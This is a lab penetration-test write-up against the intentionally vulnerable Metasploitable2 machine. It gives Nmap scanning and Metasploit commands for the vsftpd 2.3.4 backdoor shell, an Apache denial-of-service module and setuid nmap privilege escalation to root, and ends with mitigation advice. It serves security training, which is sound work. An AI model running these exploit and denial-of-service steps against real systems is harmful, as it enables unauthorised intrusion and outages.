Pentesting Report: Vulnerability Analysis on Metasploitable2

Introduction

This report documents the penetration testing process conducted using **Kali Linux** as the attacking machine and **Metasploitable2** as the vulnerable machine. The main objective of this exercise was to identify, exploit, and document the vulnerabilities present in Metasploitable2 to understand their potential impact in a corporate environment, as well as propose mitigation measures to enhance security.

Methodology

The methodology used for this pentesting followed these phases:

Confirming Vulnerabilities: **Nmap** was used to identify open services and software versions susceptible to known vulnerabilities.

Detecting Exploitable Vulnerabilities: Using vulnerability databases such as **Exploit-DB** and tools like **Metasploit**, exploitable vulnerabilities were identified.

Exploiting Vulnerabilities: The identified vulnerabilities were exploited using **Metasploit Framework** and additional tools as needed.

Privilege Escalation: Once the system was compromised, techniques were applied to escalate privileges and gain full control of the vulnerable system.

Documenting the Exploitation Process: Each step was documented with screenshots and command logs.

Tools and Techniques Used

- **Nmap**: Used to scan open ports and gather information about services and versions running.
- **Metasploit Framework**: The primary tool used for exploiting vulnerabilities.
- **Exploit-DB**: Database consulted to verify known vulnerabilities in the detected services.
- **Hydra**: Used to perform brute force attacks on services like SSH or FTP.
- **Netcat**: Used to establish reverse shell connections.

Results

Step 1: Confirming Vulnerabilities

The following command was executed to perform a comprehensive scan with Nmap and detect vulnerable services and versions:

```
nmap -p- -A 192.168.56.101
```

Detected vulnerabilities:

- **FTP** on port 21 with **vsftpd 2.3.4** vulnerable to CVE-2011-2523 (backdoor).
- **SSH** on port 22 with **OpenSSH 4.7p1** vulnerable to CVE-2008-5161.
- **Apache HTTP Server** on port 80, version 2.2.8, vulnerable to multiple denial of service attacks.

Step 2: Detecting Exploitable Vulnerabilities

Once the vulnerabilities were identified, the following were confirmed as exploitable:

- **vsftpd 2.3.4**: This version contains a backdoor that allows opening a shell.
- **OpenSSH 4.7p1**: Vulnerable to attacks related to recovering plaintext data in encrypted sessions.
- **Apache 2.2.8**: The misconfiguration of mod_deflate and mod_dav modules allowed denial of service attacks.

Step 3: Exploiting Vulnerabilities

Below are the commands used to exploit the vulnerabilities:

1. **Exploit vsftpd 2.3.4**:

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.56.101
set RPORT 21
run
```

This command successfully opened an interactive shell.

2. **Exploit Apache mod_deflate**:

```
use auxiliary/dos/http/apache_mod_deflate
set RHOST 192.168.56.101
run
```

This confirmed a denial of service attack on the Apache server.

Step 4: Privilege Escalation

Once non-privileged access was obtained, privilege escalation techniques were applied by exploiting a local shell vulnerability in **Metasploitable2**:

1. **Privilege escalation using vulnerable shell**:

```
use exploit/unix/local/setuid_nmap
set SESSION 1
run
```

This exploit successfully escalated privileges to root on the machine.

Step 5: Documenting the Process

Screenshots and evidence of the process are included to support each step described. Images of the interactive shell obtained after exploiting vsftpd and root privileges gained after escalation are attached.

Privilege Escalation

The privilege escalation process was successful due to the exploitation of a vulnerability in **Nmap**, which allowed changing setuid permissions and gaining root access. This technique secured full control over the vulnerable machine.

Mitigation

To improve the security of the system and mitigate the exploited vulnerabilities, the following actions are recommended:

Update Vulnerable Services: It is crucial to update **vsftpd**, **OpenSSH**, and **Apache** to their latest versions to prevent exploitation of known vulnerabilities.

Properly Configure Services: Disable or secure unnecessary features such as the mod_dav module in Apache, and ensure that shared files are not accessible without authentication.

Apply Security Patches: Keep the operating system and services patched, including protection against privilege escalation.

Implement Active Monitoring: Use monitoring and intrusion detection tools to identify suspicious activity in real-time.

Network Segmentation: Limit access to critical services like SSH or FTP only to internal networks and restrict external access.

Conclusion

The analysis conducted on the vulnerable Metasploitable2 machine demonstrated the presence of critical vulnerabilities that can be easily exploited. The successful exploitation of services like vsftpd and Apache shows how misconfigurations or outdated software can severely compromise system security. The proposed mitigation measures will help close these gaps and secure the system from future attacks.